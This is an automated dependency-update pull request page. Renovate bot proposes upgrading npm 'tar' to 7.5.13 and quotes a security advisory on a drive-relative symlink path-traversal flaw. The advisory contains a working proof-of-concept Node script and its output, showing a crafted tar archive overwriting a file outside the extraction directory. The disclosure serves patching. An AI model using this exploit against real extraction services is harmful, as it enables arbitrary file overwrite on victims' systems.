Skip to content

fix(deps): update dependency tar@<7.5.7 to >=7.5.13 [security]#65

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-tar-7.5.7-vulnerability
Open

fix(deps): update dependency tar@<7.5.7 to >=7.5.13 [security]#65
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-tar-7.5.7-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Apr 12, 2026

This PR contains the following updates:

Package Change Age Confidence
tar@<7.5.7 >=7.5.7>=7.5.13 age confidence

GitHub Vulnerability Alerts

CVE-2026-31802

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

  1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
  2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
  3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
  4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files
Severity
  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N

Release Notes

isaacs/node-tar (tar@<7.5.7)

v7.5.13

Compare Source

v7.5.12

Compare Source

v7.5.11

Compare Source

v7.5.10

Compare Source

v7.5.9

Compare Source


Configuration

📅 Schedule: (in timezone Europe/Berlin)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Apr 12, 2026

Thank you for following the naming conventions! 🙏

@renovate renovate bot changed the title fix(deps): update dependency tar@<7.5.7 to >=7.5.13 [security] fix(deps): update dependency tar@<7.5.7 to >=7.5.11 [security] Apr 14, 2026
@renovate renovate bot force-pushed the renovate/npm-tar-7.5.7-vulnerability branch 2 times, most recently from a42dce1 to 1d62d33 Compare April 14, 2026 05:33
@renovate renovate bot changed the title fix(deps): update dependency tar@<7.5.7 to >=7.5.11 [security] fix(deps): update dependency tar@<7.5.7 to >=7.5.13 [security] Apr 14, 2026
@renovate renovate bot force-pushed the renovate/npm-tar-7.5.7-vulnerability branch 2 times, most recently from 95d78f7 to fc1e8a0 Compare April 15, 2026 05:43
@renovate renovate bot changed the title fix(deps): update dependency tar@<7.5.7 to >=7.5.13 [security] fix(deps): update dependency tar@<7.5.7 to >=7.5.11 [security] Apr 15, 2026
@renovate renovate bot changed the title fix(deps): update dependency tar@<7.5.7 to >=7.5.11 [security] fix(deps): update dependency tar@<7.5.7 to >=7.5.13 [security] Apr 15, 2026
@renovate renovate bot force-pushed the renovate/npm-tar-7.5.7-vulnerability branch from fc1e8a0 to 71c0631 Compare April 15, 2026 08:30
Signed-off-by: Renovate Bot <bot@renovateapp.com>
@renovate renovate bot force-pushed the renovate/npm-tar-7.5.7-vulnerability branch from 71c0631 to 9df1e90 Compare April 16, 2026 10:39
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants